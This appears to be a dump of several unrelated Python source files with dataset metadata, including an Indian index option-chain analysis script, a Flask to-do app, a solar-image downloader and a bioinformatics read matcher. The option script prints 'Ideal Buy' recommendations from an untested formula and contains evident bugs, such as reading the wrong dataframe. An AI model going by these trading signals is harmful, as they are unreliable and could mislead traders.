format(((BNPLTPH2+BNPLTPH2+BNPLTPSP )/3),'.2f')\r\n\r\nprint('2. The Total avrage Put Option price is {} '.format(AvgBNPLTPH))#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n\r\n\r\n\r\n\r\n###################################### NIFTY 50 ###########################################\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('For Nifty Option Data')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n##Data Slicing for Nifty 50\r\nDr_nifty50 = pd.read_excel ('Nifty-Option-Chain-Automated-Data-Extractor.xlsm' , sheet_name='Option Chain')\r\nDr_nifty501 = Dr_nifty50.iloc[6:,[1,5,6,11,16,17,21]]\r\nDr_nifty501.columns = COLUMN_NAMES\r\nDr_nifty502 = Dr_nifty501.dropna()\r\ndf_nifty50 = Dr_nifty502.replace(to_replace = ['- ','-'], value =0)\r\n\r\n\r\n## Collect Higest and 2nd highest est Open intrest from call side\r\n# Call values\r\n\r\nNFCH1OI,NFCH2OI = df_nifty50['CallOI'].nlargest(2,keep='last') # Returns a max and 2nd max values\r\n\r\n# Convert to Words for print only\r\nNFCH1OI_Wd = format(NFCH1OI/100000,'.2f')\r\nNFCH2OI_Wd = format(NFCH2OI/100000,'.2f')\r\n\r\n# Highest OI location\r\n\r\nNFCH1OI_loc,NFCH2OI_loc = df_nifty50['CallOI'].nlargest(2,keep='last').index # Returns location of a max and 2nd max values\r\nNFCH1OI_loc = NFCH1OI_loc - 6 # -6 is the adjustment to the index value\r\nNFCH2OI_loc = NFCH2OI_loc - 6\r\n\r\n## Collect Higest and 2nd highest est Open intrest from Put side\r\n# Put values\r\n\r\nNFPH1OI,NFPH2OI = df_nifty50['PutOI'].nlargest(2,keep='last') # Returns a max and 2nd max values\r\n# Convert to Words for print only\r\nNFPH1OI_Wd = format(NFPH1OI/100000,'.2f')\r\nNFPH2OI_Wd = format(NFPH2OI/100000,'.2f')\r\n\r\n# Highest OI location\r\nNFPH1OI_loc,NFPH2OI_loc = df_nifty50['PutOI'].nlargest(2,keep='last').index # Returns location of a max and 2nd max values\r\nNFPH1OI_loc = NFPH1OI_loc - 6 # -6 is the adjustment to the index value\r\nNFPH2OI_loc = NFPH2OI_loc - 6\r\n\r\n## Calculate / data taken for the Strike price from Higest and 2nd highest Open intrest from call and Put side\r\n# Call\r\nNFCH1OI_SP = df_nifty50.iloc[NFCH1OI_loc]['Strike Price'] # Returns a Strick price \r\nNFCH2OI_SP = df_nifty50.iloc[NFCH2OI_loc]['Strike Price'] # Returns a Strick price \r\n\r\n# Put\r\nNFPH1OI_SP = df_nifty50.iloc[NFPH1OI_loc]['Strike Price'] # Returns a Strick price \r\nNFPH2OI_SP = df_nifty50.iloc[NFPH2OI_loc]['Strike Price'] # Returns a Strick price \r\n\r\n\r\n## Main Logic for PCR Data Analysis\r\n\r\nprint('Nifty PCR Data Analysis')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n# Calculate the highest Put Call ratio (PCR)\r\nNFHPCR = NFPH1OI/NFCH1OI\r\nnfhpcr = format(NFHPCR,'.2f')\r\nprint('1. Nifty Higest Open Intrest PCR ratio ',nfhpcr)#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n# Calculate the total Put Call ratio\r\nNFCallOI_sum = df_nifty50['CallOI'].sum() # Returns a sum of Call Open intrest values\r\nNFPutOI_sum = df_nifty50['PutOI'].sum() # Returns a sum of Put Open intrest values\r\nNFTPCR = NFPutOI_sum / NFCallOI_sum\r\nnftpcr = format(NFTPCR,'.2f')\r\nprint('2. Nifty Total Open Intrest PCR ratio ',nftpcr)#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n\r\n# Rising and Falling PCR data analysis. \r\n\r\n# Append the Highest PCR value in CSV file and write it to data frame\r\nprint(nfhpcr)#,file=open(\"NF_Option_data.csv\", \"a\")) #Simple print fuction use for append value \r\nDr_NFPCR_list = pd.read_csv('NF_Option_data.csv')\r\ndf_NFPCR_list = pd.DataFrame(data=Dr_NFPCR_list)\r\n\r\n# find the persent change in NF HPCR\r\nNFPCR_PC = (100 * ((df_NFPCR_list.iloc[-1] - df_NFPCR_list.iloc[-2]) / df_NFPCR_list.iloc[-2])) \r\n\r\n#Analysis\r\n\r\nif float(NFPCR_PC) >= 0.0:\r\n print('A rising put-call ratio, or a ratio greater than .7 or exceeding 1, means that equity traders are buying more puts than calls. It suggests that bearish sentiment is building in the market. Investors are either speculating that the market will move lower or are hedging their portfolios in case there is a sell-off.')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nif float(NFPCR_PC) < 0.0:\r\n print('A falling put-call ratio, or below .7 and approaching .5, is considered a bullish indicator. It means more calls are being bought versus puts.')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nif float(NFTPCR) < 0.5:\r\n print(\"Over purchased Call Options\")#,file=open(\"Option_data.txt\", \"a\"))\r\nif float(NFTPCR) > 1.5:\r\n print(\"Over purchased Put Options\")#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n\r\n## Open Intrest Analysis \r\n\r\n# Find the Call_OI & Put_OI for current BN Strick price \r\nNFCSPLOC = 0\r\nfor NFCSPLOC in range(len(df_nifty50)):\r\n if (df_nifty50['Strike Price'][(NFCSPLOC+6)]) == N50p:\r\n #print(NFCSPLOC+6) # +6 is index adjutment\r\n NFCSPCOI = df_nifty50.iloc[NFCSPLOC]['CallOI']\r\n NFCSPPOI = df_nifty50.iloc[NFCSPLOC]['PutOI']\r\n# Convert to Words for print only\r\nNFCSPCOI_Wd = format(NFCSPCOI/100000,'.2f')\r\nNFCSPPOI_Wd = format(NFCSPPOI/100000,'.2f')\r\n\r\n\r\n\r\n# Main Logic Nifty to print the open intrest and Strike Price\r\nprint('Highest Open Intrest with Sticke Price')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('Nifty 50 have {} Lakh Call_OI & {} Lakh Put_OI for Current SP {}'.format(NFCSPCOI_Wd,NFCSPPOI_Wd,n50f))#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('Max highest {} Lakh Call_OI at SP {} R2 '.format(NFCH1OI_Wd,NFCH1OI_SP))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('2nd highest {} Lakh Call_OI at SP {} R1 '.format(NFCH2OI_Wd,NFCH2OI_SP))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('Max highest {} Lakh Put_OI at SP {} S2 '.format(NFPH1OI_Wd,NFPH1OI_SP))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('2nd highest {} Lakh Put_OI at SP {} S1 '.format(NFPH2OI_Wd,NFPH2OI_SP))#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n# Main logic for direction of SP to neareset SP (Direction prediction)\r\nNTCOI_list = [NFCH1OI,NFCH2OI]\r\nNTPOI_list = [NFPH1OI,NFPH2OI]\r\nNR_SP = []\r\n\r\n\r\ndef closestn(lst, K):\r\n return lst[min(range(len(lst)), key = lambda i: abs(lst[i]-K))]\r\n \r\n \r\n# Driver code \r\n# for Call_OI\r\nif (closestn(NTCOI_list, NFCSPCOI)) == NFCH1OI: #compare the OT\r\n NR_SP.append(NFCH1OI_SP)\r\nelif (closestn(NTCOI_list, NFCSPCOI)) == NFCH2OI:\r\n NR_SP.append(NFCH2OI_SP)\r\n\r\n# for Put_OI \r\nif (closestn(NTPOI_list, NFCSPPOI)) == NFPH1OI:\r\n NR_SP.append(NFPH1OI_SP)\r\nelif (closestn(NTPOI_list, NFCSPPOI)) == NFPH2OI:\r\n NR_SP.append(NFPH2OI_SP)\r\n\r\n# for strick price \r\nprint('The price is moving in direction of ',(closestn(NR_SP, N50p)))#,file=open(\"Option_data.txt\", \"a\")) \r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n## Price prediction \r\n\r\n\r\n#Ideal Buy Range for CALL or PUT\r\nprint('Ideal Buy Range for CALL and PUT')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\nNCE= ((NFCH1OI_SP + NFCH2OI_SP)/2) # Avrage of highest Call_OI\r\nNPE= ((NFPH1OI_SP + NFPH2OI_SP)/2) # Avrage of highest Put_OI\r\nprint('1. Ideal Buy Nifty {} CE OTM'.format(NCE))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('2. Ideal Buy Nifty {} PE OTM'.format(NPE))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n\r\nprint('')\r\nprint('Nifty 50 Run ok')\r\n\r\n\r\n## Average trading price \r\n# avrage of 2 High OI Strick price LTP & Current Strick price LTP and ~15% range of tollarance (Self dev formula)\r\n## Need Back test\r\nprint('For Nifty 50 Total Avrage Option price')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n#Call highest OI price location and LTP\r\nNFCLTPH1 = df_banknifty.iloc[NFCH1OI_loc]['CallLTP']\r\nNFCLTPH2 = df_banknifty.iloc[NFCH2OI_loc]['CallLTP']\r\n\r\nNFCSPLOC = 0\r\nfor NFCSPLOC in range(len(df_nifty50)):\r\n if (df_nifty50['Strike Price'][(NFCSPLOC+6)]) == N50p:\r\n #print(NFCSPLOC+6) # +6 is index adjutment\r\n NFCLTPSP = df_nifty50.iloc[NFCSPLOC]['CallLTP']\r\n \r\n\r\nAvgNFCLTPH = ((NFCLTPH2+NFCLTPH2+NFCLTPSP )/3)\r\n# AvgNFCLTPH_UR = AvgNFCLTPH*1.15\r\n# AvgNFCLTPH_LR = (AvgNFCLTPH - (AvgNFCLTPH*0.15))\r\nAvgNFCLTPH = format(((NFCLTPH2+NFCLTPH2+NFCLTPSP )/3),'.2f')\r\nprint('1. The Total avrage Call Option price is {} '.format(AvgNFCLTPH))#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n#Put highest open price location and LTP\r\nNFPLTPH1 = df_banknifty.iloc[NFPH1OI_loc]['PutLTP']\r\nNFPLTPH2 = df_banknifty.iloc[NFPH2OI_loc]['PutLTP']\r\n\r\n\r\nNFPSPLOC = 0\r\nfor NFPSPLOC in range(len(df_nifty50)):\r\n if (df_nifty50['Strike Price'][(NFPSPLOC+6)]) == N50p:\r\n #print(NFCSPLOC+6) # +6 is index adjutment\r\n NFPLTPSP = df_nifty50.iloc[NFPSPLOC]['CallLTP']\r\n \r\nAvgNFPLTPH = ((NFPLTPH2+NFPLTPH2+NFPLTPSP )/3)\r\n# AvgNFPLTPH_UR = AvgNFPLTPH*1.15\r\n# AvgNFPLTPH_LR = (AvgNFPLTPH - (AvgNFPLTPH*0.15))\r\nAvgNFPLTPH = format(((NFPLTPH2+NFPLTPH2+NFPLTPSP )/3),'.2f')\r\nprint('2. The Total avrage Put Option price is {} '.format(AvgNFPLTPH))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')\r\nprint('End of the BOT')\r\n\r\n\r\n\r\n############################################## Stocks Options #########################################\r\n\r\n\"\"\"\r\n## Data slicing for FnO Stocks\r\n\r\nI = 'SBIN' ## Insert the name same as in file\r\nNisl = nse.get_quote(I)\r\nIns = Nisl['symbol']\r\nIcn = Nisl['companyName']\r\nIop = Nisl['open']\r\nIltp = Nisl['lastPrice']\r\nIpc = Nisl['pChange']\r\n\r\nDr_stock = pd.read_excel ('Stock-Option-Chain-Automated-Data-Extractor.xlsm' , sheet_name='Option Chain')\r\n\r\nDr_stock1 = Dr_stock.iloc[6:,[1,5,6,11,16,17,21]]\r\n\r\nDr_stock1.columns = COLUMN_NAMES\r\n\r\nDr_stock2 = Dr_stock1.dropna()\r\n\r\ndf_stock = Dr_stock2.replace(to_replace = ['- ','-'], value =0)\r\n\r\n\r\n\"\"\"","sub_path":"Option data details.py","file_name":"Option data details.py","file_ext":"py","file_size_in_byte":21630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"232433148","text":"from push.models import Push, PushText\nimport json, datetime\n\n\ndef trigger_cashback_push(user, user_pay):\n\ttry:\n\t\ttry:\n\t\t\tplayers = user.push_players.filter(status__in = [0, 1])\n\t\texcept:\n\t\t\tplayers = False\n\t\tif user.push_subscr and players and players.count() > 0:\n\t\t\ttemplate = PushText.objects.get(type=1)\n\t\t\tpushs = Push.objects.filter(user = user.id).filter(template_id = 1).filter(status = 0)\n\t\t\tif len(pushs) > 0:\n\t\t\t\tpush = pushs[0]\n\t\t\t\tuser_pay = int(json.loads(push.params)['temp1']) + user_pay\n\t\t\tfor player in players:\n\t\t\t\tpushs = Push.objects.filter(player = player).filter(template_id = 1).filter(status = 0)\n\t\t\t\tif len(pushs) > 0:\n\t\t\t\t\tpush = pushs[0]\n\t\t\t\telse:\n\t\t\t\t\tpush = Push(player = player)\n\t\t\t\tpush.title = template.title\n\t\t\t\tpush.text = template.text\n\t\t\t\tpush.user = user.id\n\t\t\t\tpush.link = template.link\n\t\t\t\tpush.params = json.dumps({'temp1':user_pay})\n\t\t\t\tpush.template = template\n\t\t\t\tpush.date_send_plan = template.last_send + datetime.timedelta(hours = 1)\n\t\t\t\tpush.save()\n\texcept:\n\t\tpass","sub_path":"push/triggers.py","file_name":"triggers.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"18376476","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n130. 被围绕的区域\n给你一个 m x n 的矩阵 board ,由若干字符 'X' 和 'O' ,找到所有被 'X' 围绕的区域,并将这些区域里所有的 'O' 用 'X' 填充。\n\n输入:board = [[\"X\",\"X\",\"X\",\"X\"],[\"X\",\"O\",\"O\",\"X\"],[\"X\",\"X\",\"O\",\"X\"],[\"X\",\"O\",\"X\",\"X\"]]\n输出:[[\"X\",\"X\",\"X\",\"X\"],[\"X\",\"X\",\"X\",\"X\"],[\"X\",\"X\",\"X\",\"X\"],[\"X\",\"O\",\"X\",\"X\"]]\n\n解释:被围绕的区间不会存在于边界上,换句话说,任何边界上的 'O' 都不会被填充为 'X'。\n 任何不在边界上,或不与边界上的 'O' 相连的 'O' 最终都会被填充为 'X'。如果两个元素在水平或垂直方向相邻,则称它们是“相连”的\n\n链接:https://leetcode-cn.com/problems/surrounded-regions/\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def solve(self, board: List[List[str]]) -> None:\n \"\"\"\n Do not return anything, modify board in-place instead.\n\n 思路: dfs\n\n 边界条件:\n 1。 不在边界上\n 2。 不与边界上 \"O\" 相连的 \"O\", 将会被填充\n \"\"\"\n if not board:\n return board\n\n m, n = len(board), len(board[0])\n\n # 第一列和最后一列\n for i in range(m):\n self.dfs(i, 0, board)\n self.dfs(i, n-1, board)\n\n # 第一行和最后一行\n for j in range(n):\n self.dfs(0, j, board)\n self.dfs(m-1, j, board)\n\n for i in range(m):\n for j in range(n):\n if board[i][j] == \"A\":\n board[i][j] = \"O\"\n elif board[i][j] == \"O\":\n board[i][j] = \"X\"\n\n def dfs(self, m, n, board):\n\n if not 0 <= m < len(board) or not 0 <= n < len(board[0]) or board[m][n] != \"O\":\n return\n\n if board[m][n] == \"O\":\n board[m][n] = \"A\"\n self.dfs(m + 1, n, board)\n self.dfs(m - 1, n, board)\n self.dfs(m, n + 1, board)\n self.dfs(m, n - 1, board)\n\n\nif __name__ == '__main__':\n # board = [\n # [\"X\", \"X\", \"X\", \"X\"],\n # [\"X\", \"O\", \"O\", \"X\"],\n # [\"X\", \"X\", \"O\", \"X\"],\n # [\"X\", \"O\", \"X\", \"X\"]]\n board = [[\"O\"]]\n Solution().solve(board)\n for s in range(len(board)):\n print(board[s])\n","sub_path":"Week_07/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"554642223","text":"from sunpy.net.helioviewer import HelioviewerClient\nimport matplotlib.pyplot as plt\nfrom matplotlib.image import imread\nfrom PIL import Image\n\nimport subprocess\nimport datetime\nimport glob\nimport os\n\ndef get_date():\n\tyear = int(raw_input(\"YEAR: \").zfill(4))\n\tmonth = int(raw_input(\"MONTH: \").zfill(2))\n\tday = int(raw_input(\"DAY: \").zfill(2))\n\n\treturn year, month, day\n\ndef build_timelist(YEAR, MONTH, DAY):\n\ttimes = []\n\n\tfor hours in range (0, 24):\n\t\tfor minutes in xrange (0, 60, 12):\n\t\t\ttimes.append(datetime.datetime(YEAR, MONTH, DAY, hours, minutes, 00))\n\treturn times\n\n\nif __name__ == '__main__':\n\t\n\tyear, month, day = get_date()\n\n\ttimelist = build_timelist(year, month, day)\n\thv = HelioviewerClient() \n\t#file = hv.download_png('2015/01/01', 6, \"[SDO,AIA,AIA,304,1,100],[SDO,AIA,AIA,193,1,50],[SOHO,LASCO,C2,white-light,1,100],[SOHO,LASCO,C3,white-light,1,100]\", x0=0, y0=0, width=900, height=900) \n\tminutes = []\n\tfor minute in xrange(0, 60, 12):\n\t\tminutes.append(minute)\n\n\tfor time in timelist:\n\t\tfilenum = timelist.index(time) + 1\n\t\ttotal = len(timelist)\n\t\tprint(\"DOWNLOADING: \" + str(time) + \" --- \" + str(filenum) + \"/\" + str(total))\n\t\tfile = hv.download_png(time, 6, \n\t\t \"[SDO,AIA,AIA,193,1,100],\"\\\n\t\t \"[SOHO,LASCO,C2,white-light,1,100]\",\n\t\t directory=\"./downloaded\", \n\t\t x0=0, y0=0, width=2000, height=2000, watermark=False ) \n\t\n\ti = 0\n\tfor f in sorted(glob.glob(\"downloaded/*.png\")):\n\t\tos.rename(f, \"downloaded/\" + str(i) + \".png\")\n\t\ti = i + 1\n\n\toutname = \"LASCO_\" + str(year) + str(month) + str(day) + \".mp4\"\n\tsubprocess.call('ffmpeg -r 24 -i downloaded/%01d.png -vcodec libx264 -filter \"minterpolate=mi_mode=blend\" -b:v 4M -pix_fmt yuv420p -y ' + outname, shell = True)\n\n\n\tbackup = \"archived/\" + str(year) + str(month) + str(day)\n\tsubprocess.call(\"mkdir -p \" + backup + \" && mv downloaded/*.png \" + backup, shell = True) \n\n\n\n# print(\"TIMELIST: \", timelist)\n# subprocess.call(\"cp \" + str(file).split('u/') + \" from_hl.png\")\n\n# im = imread(file)\n# print(\"IM: \", im) \n# plt.imshow(im)\n\n# plt.axis('off') \n# plt.savefig(\"test.png\", edgecolor='b', bbox_inches=\"tight\", pad_inches=0)\n# plt.show() ","sub_path":"LASCO_OneOff.py","file_name":"LASCO_OneOff.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"294848484","text":"\"\"\"\nModule implementing the basic BFS for exploring the \nwikipedia space.\n\"\"\"\nimport urlhelper\nimport queue\nimport re\n\n#initialise the queue for the bfs\nque = queue.Queue()\n#dict to maintain the parents \nparent_keeper = {}\n\ndef bfs(start_url, end_url, pattern):\n\t\"\"\"\n\tExplore the space baby...\n\tThe actual bfs code\n\t:param start_url: the starting url \n\t:param end_url: the ending url\n\t:param pattern: the regex pattern used \n\t\"\"\"\n\tprint (urlhelper.fetch(start_url, pattern))\n\tque.put(start_url)\n\tparent_keeper[start_url] = None\n\twhile not que.empty():\n\t\tcurr_link = que.get()\n\t\tprint (\"Current visiting link is \" + curr_link)\n\t\tif curr_link == end_url:\n\t\t\tprint_path(parent_keeper, curr_link)\n\t\t\treturn (\"Found the path\")\n\t\tcurr_page_links = urlhelper.fetch(curr_link, pattern)\t\n\t\tfor link in curr_page_links:\n\t\t\t#print (link)\n\t\t\tif link == end_url:\n\t\t\t\tprint_path(parent_keeper, curr_link)\n\t\t\t\treturn (\"Found the path\")\n\t\t\telse:\n\t\t\t\tif link not in parent_keeper:\n\t\t\t\t\tparent_keeper[link] = curr_link\n\t\t\t\t\tque.put(link)\n\ndef print_path(parent_keeper, link):\n\t\"\"\"\n\tMove up the tree to the root tracing back the path\n\t:param parent_keeper: Dictionary to maintain the parents\n\t:link: The link we want to traceback \n\t\"\"\"\n\tprint (\"FINALLY WE ARE HERE!! Heres the path we followed - \")\n\tif link is None:\n\t\treturn\n\tprint_path(parent_keeper, parent_keeper[link])\t\n\tprint (link.split('/')[-1])\n\treturn \n","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"460906497","text":"#!python3\n# -*- coding: utf-8 -*-\n# @Author : lee \n# @Date : 2020/4/27 9:50\nimport requests\n# requests.get()函数接受一个URL字符串下载一个网页,返回一个Response对象\nres = requests.get('http://www.gutenberg.org/cache/epub/1112/pg1112.txt')\n# 通过检查Response对象的status_code属性,了解网页是否请求成功,状态码为200是请求成,404失败;\nprint(res.status_code)\n# 如果请求成功,下载的页面作为一个字符串,保存在Response对象的text属性中\ns = res.text\nprint(len(s))\nprint(s[:1000])\n# raise_for_status()方法如果下载成功,就什么也不做,如果失败则抛出异常;\n# 一般总是在调用requests.get()之后在调用raise_for_status().确保下载成功,然后让程序继续。\nres.raise_for_status()\nplayFile = open('requests_下载.txt','wb') # 用‘wb’调用open()函数,以写入二进制方式打开文件\n# Response对象的iter_content()方法在循环的每次迭代中,返回一段内容。\n# 每段都是bytes数据类型,不过你需要指定这一段包含多少字节,作为参数传入iter_content()\nfor chunk in res.iter_content(100000):\n playFile.write(chunk)\nplayFile.close()","sub_path":"book_learning/automation_py/ch11_从web抓取信息/requests模块.py","file_name":"requests模块.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"379901456","text":"import hjson\nimport os\nimport platform\nimport click\n\nfrom .peptide_modification import (load_modification_rule, save_modification_rule)\nfrom .substituent import (load_substituent_rule, save_substituent_rule)\n\nfrom psims.controlled_vocabulary import controlled_vocabulary as cv\n\n\nCONFIG_DIR = click.get_app_dir(\"glycresoft\")\nif not os.path.exists(CONFIG_DIR):\n os.makedirs(CONFIG_DIR)\n\nif platform.system().lower() != 'windows':\n os.environ[\"NOWAL\"] = \"1\"\n\n_mpl_cache_dir = os.path.join(CONFIG_DIR, 'mpl')\n\nif not os.path.exists(_mpl_cache_dir):\n os.makedirs(_mpl_cache_dir)\n\nos.environ[\"MPLCONFIGDIR\"] = _mpl_cache_dir\n\n\nUSER_CONFIG_PATH = os.path.join(CONFIG_DIR, \"glycresoft-cfg.hjson\")\n\ncv.configure_obo_store(os.path.join(CONFIG_DIR, \"cv\"))\n\nHAS_CONFIG = os.path.exists(USER_CONFIG_PATH)\n\nDEFAULT_CONFIG = {\n \"version\": 0.3,\n \"peptide_modifications\": {},\n \"glycan_modifications\": {},\n \"substituent_rules\": {},\n \"environment\": {\n \"log_file_name\": \"glycresoft-log\",\n \"log_file_mode\": \"a\"\n }\n}\n\n_CURRENT_CONFIG = None\n\nif not HAS_CONFIG:\n hjson.dump(DEFAULT_CONFIG, open(USER_CONFIG_PATH, 'w'))\n\n\ndef process(config):\n for key, value in config['peptide_modifications'].items():\n load_modification_rule(value)\n\n for key, value in config[\"substituent_rules\"].items():\n load_substituent_rule(value)\n\n\ndef get_configuration():\n global _CURRENT_CONFIG\n if _CURRENT_CONFIG is None:\n _CURRENT_CONFIG = hjson.load(open(USER_CONFIG_PATH))\n process(_CURRENT_CONFIG)\n return _CURRENT_CONFIG\n\n\ndef set_configuration(obj):\n global _CURRENT_CONFIG\n _CURRENT_CONFIG = None\n hjson.dump(obj, open(USER_CONFIG_PATH, 'w'))\n return get_configuration()\n\n\ndef add_user_modification_rule(rule):\n serialized = save_modification_rule(rule)\n config = get_configuration()\n config['peptide_modifications'][serialized['full_name']] = serialized\n set_configuration(config)\n return load_modification_rule(serialized)\n\n\ndef add_user_substituent_rule(rule):\n serialized = save_substituent_rule(rule)\n config = get_configuration()\n config['substituent_rules'][serialized['name']] = serialized\n set_configuration(config)\n return load_substituent_rule(serialized)\n\n\ntry:\n get_configuration()\nexcept Exception:\n set_configuration(DEFAULT_CONFIG)\n","sub_path":"glycan_profiling/config/config_file.py","file_name":"config_file.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"381459081","text":"#!/usr/bin/python3\n\nfrom flask import Flask, render_template, redirect, url_for, request, flash\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import DataRequired\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///app.db'\n\ndb = SQLAlchemy(app)\n\napp.config['SECRET_KEY'] = 'mysecretkey'\n\nclass Tasks(FlaskForm):\n task = StringField('Task', validators=[DataRequired()])\n submit = SubmitField('Submit')\n\nclass Task(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n task = db.Column(db.String(100), unique=True, nullable=False)\n\n def __repr__(self):\n return f\"Task('{self.task}')\"\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n task = None\n form = Tasks()\n if form.validate_on_submit():\n task = Task(task=form.task.data)\n db.session.add(task)\n db.session.commit()\n form.task.data = ''\n tasks = Task.query.all() \n return render_template('index.html', form=form, tasks=tasks)\n\n@app.route('/done/')\ndef done(id):\n task = Task.query.get_or_404(id)\n task.done = True\n db.session.delete(task)\n db.session.commit()\n flash(f'{task.task} is done!')\n return redirect(url_for('index'))","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"203574908","text":"import sys\r\nimport random\r\nfrom numpy import zeros\r\nimport math\r\nfrom fm_index import FMIndex\r\nfrom time import time\r\n\r\n\r\nts = time() # keep track of the time\r\nTref = sys.argv[1]\r\nTR = sys.argv[2]\r\nLmerSpltNo = 10 # user defined input, how many \"pigeon holes\" does the user want. suggestion: pick a number dividable by the read length\r\n\r\n\r\ndef Ktest(TR): # same as the contamination classification\r\n\r\n with open(TR) as TTR:\r\n K = len(TTR.readline().rstrip())\r\n return K\r\n\r\nK = Ktest(TR)\r\n\r\n\r\ndef ParseTref(Tref): # same as the contamination classification\r\n\r\n TargetRef = \"\"\r\n with open(Tref) as trf:\r\n Name = trf.readline()\r\n while True:\r\n fn = trf.readline()\r\n if len(fn) == 0:\r\n break\r\n TargetRef += fn.rstrip()\r\n return TargetRef\r\n\r\nTargetRef = ParseTref(Tref)\r\n\r\n\r\ndef ParseTR(TR): # parse all reads into a set\r\n\r\n TRS = set()\r\n with open(TR) as tr:\r\n while True:\r\n fn = tr.readline()\r\n if len(fn) == 0:\r\n break\r\n TRS.add(fn.rstrip())\r\n return TRS\r\n\r\nTRS = ParseTR(TR)\r\n\r\n\r\ndef EDScoring(xc, yc): # same as contamination classification\r\n\r\n if xc == yc: return 0\r\n if xc == '-' or yc == '-': return 1\r\n else:\r\n return 1\r\n\r\n\r\ndef smithWaterman(x, y, s): # same as contamination classification\r\n\r\n D = zeros((len(x) + 1, len(y) + 1), dtype=int)\r\n for j in range(1, len(y) + 1):\r\n D[0, j] = D[0, j - 1] + s('-', y[j - 1])\r\n for i in range(1, len(x) + 1):\r\n D[i, 0] = D[i - 1, 0] + s(x[i - 1], '-')\r\n for i in range(1, len(x) + 1):\r\n for j in range(1, len(y) + 1):\r\n D[i, j] = min(D[i - 1, j - 1] + s(x[i - 1], y[j - 1]),\r\n D[i - 1, j] + s(x[i - 1], '-'),\r\n D[i, j - 1] + s('-', y[j - 1]))\r\n return D[len(x), len(y)]\r\n\r\n\r\ndef LmerSplit(read, K, LmerSpltNo): # same as contamination classification\r\n\r\n Lmers = list()\r\n if K % LmerSpltNo > 0:\r\n s = math.floor(K/LmerSpltNo)\r\n Lmers = [read[i:i + s+1] for i in range(0, (K % LmerSpltNo)*(s+1), s+1)]\r\n Lmers = Lmers + [read[i:i + s] for i in range((K % LmerSpltNo)*(s+1), K, s)]\r\n else:\r\n Lmers = [read[i:i + int(K/LmerSpltNo)] for i in range(0, K, int(K/LmerSpltNo))]\r\n return Lmers\r\n\r\n\r\ndef pigeonH (Lmer, fm, ref, EDScoring): # very similar to insertion detection\r\n\r\n ps = fm.findAll(Lmer)\r\n for i in ps:\r\n if i == []: continue # check for exact matching to speed up the program\r\n else: return i\r\n LM = LmerSplit(Lmer, K, LmerSpltNo)\r\n positions = []\r\n EDS = []\r\n for w in LM: # regular pigeon hole\r\n p = fm.findAll(w)\r\n positions.append(p)\r\n LC = [len(x) for x in LM]\r\n for j, q in zip(positions, LM):\r\n\r\n if j == []:\r\n continue\r\n ind = LM.index(q)\r\n if ind == 0:\r\n Stp = 0\r\n else:\r\n Stp = sum(LC[n] for n in range(0, ind))\r\n for p in j: # we are not setting threshold since the pre-processing made sure every reads come to this stage has a very good match againest the target ref-seq\r\n StpC = p - Stp\r\n EDT = smithWaterman(Lmer, 